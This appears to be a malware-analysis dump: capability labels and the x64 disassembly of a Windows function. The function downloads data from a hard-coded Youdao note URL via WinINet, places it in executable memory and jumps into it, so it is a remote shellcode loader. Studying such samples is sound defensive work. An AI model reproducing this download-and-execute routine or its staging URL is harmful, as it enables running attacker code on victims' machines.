Function at 0x140001460
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
mov eax, 0x4b050
call fcn.140014370
sub rsp, rax
mov rax, qword [0x140025ac0]
xor rax, rsp
mov qword [rsp + 0x4b040], rax
xor esi, esi
lea rcx, str.RookIE_1.0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x30], 1
mov edi, esi
mov dword [rsp + 0x20], esi
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
test rax, rax
je 0x1400016bf
lea rdx, str.http:__note.youdao.com_yws_api_personal_file_WEBc7752a5b44cf31cd9e9d721a0d970fd4_methoddownloadinlinetrueshareKey4f844929b1b74e4d4389f7ddbc7c5c9c
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x4b060], rbx
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x4b068], rbp
mov dword [rsp + 0x20], 0x4000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbp, rax
test rax, rax
je 0x14000161b
mov ebx, esi
cmp dword [rsp + 0x30], ebx
jbe 0x140001610
nop word [rax + rax]
lea r9, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov r8d, 0x4afff
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r11d, dword [rsp + 0x30]
test r11d, r11d
je 0x140001610
mov r9d, 0x40
mov r8d, 0x1000
test rdi, rdi
jne 0x140001560
mov edx, r11d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1400015a5
mov rcx, rax
jmp 0x14000157a
lea edx, [rbx + r11]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x1400015ae
mov ecx, ebx
mov rdi, rax
add rcx, rax
mov r8d, dword [rsp + 0x30]
lea rdx, [rsp + 0x40]
call fcn.140008390
mov eax, dword [rsp + 0x30]
add ebx, eax
test eax, eax
jne 0x140001510
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000168e
lea rcx, str.Unable_to_allocate_executable_memory
jmp 0x1400015b5
lea rcx, str.Unable_to_reallocate_memory_for_shellcode
call fcn.140004d20
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.140001c40
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rbx + 0x10], 6
jne 0x1400015eb
mov rcx, qword [rcx + rbx + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove esi, ecx
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
test esi, esi
je 0x140001610
mov edx, dword [rcx + 0x10]
or edx, esi
cmp qword [rcx + 0x48], 0
jne 0x140001608
or edx, 4
xor r8d, r8d
call fcn.140001260
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000168e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.InternetOpenUrlA_failed_with_error_code:
mov ebx, eax
call fcn.140004d20
mov edx, ebx
mov rcx, rax
call fcn.140001a60
mov dl, 0xa
mov rcx, rax
mov rbx, rax
call fcn.140001c40
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
test byte [rcx + rbx + 0x10], 6
jne 0x14000166a
mov rcx, qword [rcx + rbx + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove esi, ecx
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
add rcx, rbx
test esi, esi
je 0x14000168e
mov edx, dword [rcx + 0x10]
or edx, esi
cmp qword [rcx + 0x48], rdi
jne 0x140001686
or edx, 4
xor r8d, r8d
call fcn.140001260
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rbp, qword [rsp + 0x4b068]
mov rbx, qword [rsp + 0x4b060]
test rdi, rdi
je 0x1400016bf
call rdi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x4b040]
xor rcx, rsp
call fcn.1400080f0
lea r11, [rsp + 0x4b050]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r12
ret